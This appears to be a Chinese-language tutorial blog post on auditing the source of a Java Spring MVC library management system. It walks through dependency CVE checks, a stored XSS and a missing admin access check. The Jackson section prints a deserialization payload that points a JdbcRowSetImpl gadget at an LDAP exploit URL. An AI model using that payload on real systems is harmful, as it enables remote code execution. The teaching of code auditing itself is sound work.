java代码审计入门-图书馆管理系统项目审计

一 配置好项目,启动项目

 该项目是标准的html+css作为前端,spring mvc架构模式作为后端的java开源项目,使用tomcat作为web容器,mysql作为数据库。将项目启动完毕后,开始进行相关的安全审计。

二 漏洞审计

漏洞的审计通常包括两个方面,通用性漏洞审计(多为中间件漏洞)和硬编码漏洞审计(程序员编码漏洞)。

2.1 通用性漏洞审计

java项目多为基于maven引入相关依赖,有时候也会遇见直接从lib导入依赖的,本项目为maven项目,打开pom.xml文件查看相关依赖。

 对相关中间件版本进行查看是否存在通用型漏洞

spring

经过查找,发现了一个疑似可以利用的漏洞CVE-2022-22965(影响范围为Spring Framework版本为5.3.0到5.3.17,5.2.0到5.2.19以及其他老版本) 该漏洞需要满足条件:

使用JDK9及以上版本
使用Apache Tomcat作为容器
使用了传统的WAR包部署方式
依赖了spring-wemvc以及springwebflux
Spring Framework 5.3.X < 5.3.18
Spring Framework 5.2.X < 5.2.20

因此无法利用该漏洞,不过写完这篇文章肥肥鲨也想去研究一下相关漏洞

Tomcat,Servlet

这里我用的是自己的tomcat所以就不看了

Jackson

2.8.8版本存在jackson反序列化漏洞CVE-2020-36188,危险函数为readValue和writeValueAsString。

ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping();

String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\"}]";

Object o = mapper.readValue(payload, Object.class);

mapper.writeValueAsString(o);

全局搜索这两个函数,发现本项目没有引用这两个函数,因此该漏洞不好利用。

总结

项目使用的包版本较老,很多中间件都存在问题,包括但不限于jackson,jetty等,由于项目本身较小,没有明显的通用型漏洞,但如果考虑到项目的拓展性,应当对相关的中间件进行升级。

2.2 硬编码漏洞审计

项目结构

 项目采用标准mvc架构,数据库中间件采用了hibernate,该中间件sql注入较少,没有看到相关参数的Filter,可能会存在xss,文件上传等常见漏洞。

存储型xss漏洞

在修改个人信息相关的功能模块发现存储型xss漏洞,相关代码如下:

@RequestMapping("reader_edit_do_r.html")
    public String readerInfoEditDoReader(HttpServletRequest request,String name,String sex,String birth,String address,String telcode,RedirectAttributes redirectAttributes){
        ReaderCard readerCard=(ReaderCard) request.getSession().getAttribute("readercard");
        if (!readerCard.getName().equals(name)){
            boolean succo=readerCardService.updateName(readerCard.getReaderId(),name);
            SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
            Date nbirth=new Date();
            try{
                java.util.Date date=sdf.parse(birth);
                nbirth=date;
            }catch (ParseException e){
                e.printStackTrace();
            }

            ReaderInfo readerInfo=new ReaderInfo();
            readerInfo.setAddress(address);
            readerInfo.setBirth(nbirth);
            readerInfo.setName(name);
            readerInfo.setReaderId(readerCard.getReaderId());
            readerInfo.setTelcode(telcode);
            readerInfo.setSex(sex);

            boolean succ=readerInfoService.editReaderInfo(readerInfo);
            if(succ&&succo){
                ReaderCard readerCardNew = loginService.findReaderCardByUserId(readerCard.getReaderId());
                request.getSession().setAttribute("readercard", readerCardNew);
                redirectAttributes.addFlashAttribute("succ", "信息修改成功!");
                return "redirect:/reader_info.html";
            }else {
                redirectAttributes.addFlashAttribute("error", "信息修改失败!");
                return "redirect:/reader_info.html";
            }



        }else {
            SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
            Date nbirth=new Date();
            try{
                java.util.Date date=sdf.parse(birth);
                nbirth=date;
            }catch (ParseException e){
                e.printStackTrace();
            }

            ReaderInfo readerInfo=new ReaderInfo();
            readerInfo.setAddress(address);
            readerInfo.setBirth(nbirth);
            readerInfo.setName(name);
            readerInfo.setReaderId(readerCard.getReaderId());
            readerInfo.setTelcode(telcode);
            readerInfo.setSex(sex);

            boolean succ=readerInfoService.editReaderInfo(readerInfo);
            if(succ){
                ReaderCard readerCardNew = loginService.findReaderCardByUserId(readerCard.getReaderId());
                request.getSession().setAttribute("readercard", readerCardNew);
                redirectAttributes.addFlashAttribute("succ", "信息修改成功!");
                return "redirect:/reader_info.html";
            }else {
                redirectAttributes.addFlashAttribute("error", "信息修改失败!");
                return "redirect:/reader_info.html";
            }
        }



    }

从前端获取参数未过滤就调用了Service层的方法,但是要正确执行xss还要看处理显示的相关方法。相关方法如下:

@RequestMapping("/reader_info.html")
    public ModelAndView toReaderInfo(HttpServletRequest request) {
        ReaderCard readerCard=(ReaderCard) request.getSession().getAttribute("readercard");
        ReaderInfo readerInfo=readerInfoService.getReaderInfo(readerCard.getReaderId());
        ModelAndView modelAndView=new ModelAndView("reader_info");
        modelAndView.addObject("readerinfo",readerInfo);
        return modelAndView;
    }

可以看出在redaer_info这一块确实存在xss漏洞,验证如下:

 

 垂直越权漏洞

在审计xss漏洞的同时,发现后端并没有对非管理员用户进行访问控制,所有用户均可以直接请求reader_edit_do方法进行任意读者信息的增删改查。相关问题代码如下:

    @RequestMapping("reader_edit_do.html")
    public String readerInfoEditDo(HttpServletRequest request,String name,String sex,String birth,String address,String telcode,RedirectAttributes redirectAttributes){
        int readerId= Integer.parseInt(request.getParameter("id"));
        ReaderCard readerCard = loginService.findReaderCardByUserId(readerId);
        String oldName=readerCard.getName();
        if(!oldName.equals(name)){
            boolean succo=readerCardService.updateName(readerId,name);
            SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
            Date nbirth=new Date();
            try{
                java.util.Date date=sdf.parse(birth);
                nbirth=date;
            }catch (ParseException e){
                e.printStackTrace();
            }
            ReaderInfo readerInfo=new ReaderInfo();
            readerInfo.setAddress(address);
            readerInfo.setBirth(nbirth);
            readerInfo.setName(name);
            readerInfo.setReaderId(readerId);
            readerInfo.setTelcode(telcode);
            readerInfo.setSex(sex);
            boolean succ=readerInfoService.editReaderInfo(readerInfo);
            if(succo&&succ){
                redirectAttributes.addFlashAttribute("succ", "读者信息修改成功!");
                return "redirect:/allreaders.html";
            }else {
                redirectAttributes.addFlashAttribute("error", "读者信息修改失败!");
                return "redirect:/allreaders.html";
            }
        }
        else {
            System.out.println("部分修改");
            SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
            Date nbirth=new Date();
            try{
                java.util.Date date=sdf.parse(birth);
                nbirth=date;
            }catch (ParseException e){
                e.printStackTrace();
            }
            ReaderInfo readerInfo=new ReaderInfo();
            readerInfo.setAddress(address);
            readerInfo.setBirth(nbirth);
            readerInfo.setName(name);
            readerInfo.setReaderId(readerId);
            readerInfo.setTelcode(telcode);
            readerInfo.setSex(sex);

            boolean succ=readerInfoService.editReaderInfo(readerInfo);
            if(succ){
                redirectAttributes.addFlashAttribute("succ", "读者信息修改成功!");
                return "redirect:/allreaders.html";
            }else {
                redirectAttributes.addFlashAttribute("error", "读者信息修改失败!");
                return "redirect:/allreaders.html";
            }
        }

    }

 直接给别人的信息改了。。。相似的还有很多,建议各位在处理业务逻辑的时候取id值直接从session里面取。

三 小结

本文主要还是给各位做代审提供一个基本的思路,选取的系统比较简单。漏洞也比较多,再审肯定还有别的,大部分都是硬编码漏洞,就到这吧。。。看累了。

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值